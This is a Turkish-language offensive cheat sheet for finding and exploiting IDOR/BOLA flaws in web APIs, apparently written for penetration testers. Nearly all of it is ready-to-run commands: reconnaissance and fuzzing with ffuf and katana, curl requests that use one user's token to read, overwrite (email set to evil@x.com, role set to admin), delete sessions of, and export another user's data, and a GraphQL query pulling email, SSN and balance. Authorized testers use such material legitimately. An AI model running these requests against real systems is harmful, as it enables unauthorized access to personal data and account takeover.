Skip to content

IDOR

web offensive

IDOR (Insecure Direct Object Reference / BOLA), kimlik doğrulanmış bir kullanıcının başka bir nesneye kimlik değiştirerek erişmesidir. Enum → yatay/dikey erişim → yazma etkisi sırası izlenir.

  1. IDOR giriş noktalarını (param/header/cookie/upload/API) haritala.

  2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

  3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

  4. Zincirleme senaryo ve kanıt paketini tamamla.

Hedef yığını, endpoint’leri ve auth sınırını netleştir.

Terminal window
curl -skI https://TARGET/
Terminal window
whatweb -a 3 https://TARGET
Terminal window
katana -u https://TARGET -jc -d 3 -o crawl.txt
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403
Terminal window
arjun -u https://TARGET/api/v1/item --get

Kaynak kimliklerini (id, uuid, slug, hash) response ve JS bundle’dan çıkar.

Terminal window
rg -n "userId|account_id|/api/users/|/orders/" crawl.txt
Terminal window
curl -sk https://TARGET/api/me -H 'Authorization: Bearer TOKEN_A'
Terminal window
curl -sk https://TARGET/api/users/1001 -H 'Authorization: Bearer TOKEN_A'
Terminal window
curl -sk https://TARGET/api/users/1002 -H 'Authorization: Bearer TOKEN_A'
A’nın token’ı ile B’nin nesnesi → HTTP 200 + yabancı veri = IDOR
Terminal window
ffuf -u 'https://TARGET/api/invoices/FUZZ' -w ids.txt -H 'Authorization: Bearer TOKEN_A' -mc 200 -fs 0
Terminal window
ffuf -u 'https://TARGET/api/admin/users/FUZZ' -w ids.txt -H 'Authorization: Bearer TOKEN_USER' -mc 200,403
Terminal window
curl -sk -X PUT https://TARGET/api/users/1002 -H 'Authorization: Bearer TOKEN_A' -H 'Content-Type: application/json' -d '{"email":"evil@x.com"}'
Terminal window
curl -sk -X DELETE https://TARGET/api/users/1002/sessions -H 'Authorization: Bearer TOKEN_A'
GET okuma + PUT/PATCH/DELETE yazma ayrı ayrı doğrulanmalı
Terminal window
curl -sk 'https://TARGET/api/files?owner=me' -H 'Authorization: Bearer TOKEN_A' | jq '.[].id'
Terminal window
ffuf -u 'https://TARGET/api/files/FUZZ' -w leaked-uuids.txt -H 'Authorization: Bearer TOKEN_B' -mc 200
UUID gizlilik ≠ yetki; referans sızıntısı (e-posta, export, websocket) yeter
Terminal window
seq 1 500 | ffuf -u 'https://TARGET/api/reports?id=FUZZ' -w - -H 'Cookie: session=A' -mc 200
query { user(id:"1002") { email ssn balance } }
Terminal window
curl -sk https://TARGET/graphql -H 'Content-Type: application/json' -d '{"query":"query{user(id:\"1002\"){email}}"}' -b jar
Terminal window
curl -sk -X PATCH https://TARGET/api/profile -H 'Authorization: Bearer TOKEN_A' -d '{"role":"admin","user_id":1002}'
BOLA: object-level; BFLA: function-level admin endpoint
Terminal window
curl -sk https://TARGET/api/users/1002/export -H 'Authorization: Bearer TOKEN_A' -o victim-export.json
Terminal window
jq . victim-export.json | head
etki: PII dump, sipariş manipülasyonu, hesap ele geçirme zinciri

IDOR sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.